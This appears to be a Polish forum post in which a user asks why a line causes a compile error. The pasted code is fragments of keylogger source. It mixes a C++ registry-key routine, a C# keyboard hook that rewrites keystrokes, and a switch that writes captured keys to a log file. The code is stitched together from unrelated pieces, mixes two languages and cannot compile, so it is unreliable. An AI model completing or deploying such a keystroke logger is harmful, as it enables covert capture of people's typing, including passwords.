Witam co sądzicie o takim kodzie:
tylko co w tym kodzie jest źle w tej lijnice bo wywali mi 1 błąd tutaj:
private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
http://screenshooter.net/7415593/ekbsjqx
Kod:
#define _WIN32_WINNT 0x0500
#include <iostream>
#include <fstream> // biblioteki
#include <windows.h>
#include <string>
#include <cstdio>
using namespace std;
ofstream out("logi.txt", ios::out);
INT WINAPI WinMain(HINSTANCE hInst,HINSTANCE,LPSTR lStart,INT nShow)
{
HKEY klucz; //uchwyt do tworzonego klucza
LONG Wynik; //wynik funkcji RegCreateKeyEx
DWORD Nowy; //wartość na sprawdzenie czy został utworzony nowy klucz
Wynik=RegCreateKeyEx(HKEY_CURRENT_USER,"Software\\Nasz program",0,0,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS, 0,&klucz,&Nowy);
if(Wynik==ERROR_SUCCESS)
{
MessageBox(HWND_DESKTOP,"Funkcja wykonała się prawidłowo","Sukces",MB_OK);
RegCloseKey(klucz); //zamkniecie klucza - o tym dalej
if(Nowy==REG_CREATED_NEW_KEY) MessageBox(0,"Została utworzony nowy klucz","Nowy klucz",MB_OK);
else MessageBox(HWND_DESKTOP,"Został otwarty stary klucz","Stary klucz",MB_OK);
return 0;
}
else MessageBox(HWND_DESKTOP,"Funkcja nie wykonała się prawidłowo","Błąd",MB_OK);
return 0;
}
private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
{
KBDLLHOOKSTRUCT replacementKey = (KBDLLHOOKSTRUCT)Marshal.PtrToStructure(lParam, typeof(KBDLLHOOKSTRUCT)); //instalacja hooka na klawiature
replacementKey.vkCode = 90; // char 'Z'
Marshal.StructureToPtr(replacementKey, lParam, false);
}
return CallNextHookEx(_hookID, nCode, wParam, lParam);
}
// Invisible keys
case VK_CAPITAL: out << "<CAPLOCK>"; break;
case VK_SHIFT: out << "<SHIFT>"; break;
case VK_LCONTROL: out << "<LCTRL>"; break;
case VK_RCONTROL: out << "<RCTRL>"; break;
case VK_INSERT: out << "<INSERT>"; break;
case VK_END: out << "<END>"; break;
case VK_PRINT: out << "<PRINT>"; break;
case VK_DELETE: out << "<DEL>"; break;
case VK_BACK: out << "<BK>"; break;
case VK_LEFT: out << "<LEFT>"; break;
case VK_RIGHT: out << "<RIGHT>"; break;
case VK_UP: out << "<UP>"; break;
case VK_DOWN: out << "<DOWN>"; break;
// Visible keys
default:
out << char(tolower(p->vkCode));
return CallNextHookEx(NULL,code,wParam,lParam); //zakończenie
}
tylko co w tym kodzie jest źle w tej lijnice bo wywali mi 1 błąd tutaj:
private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
http://screenshooter.net/7415593/ekbsjqx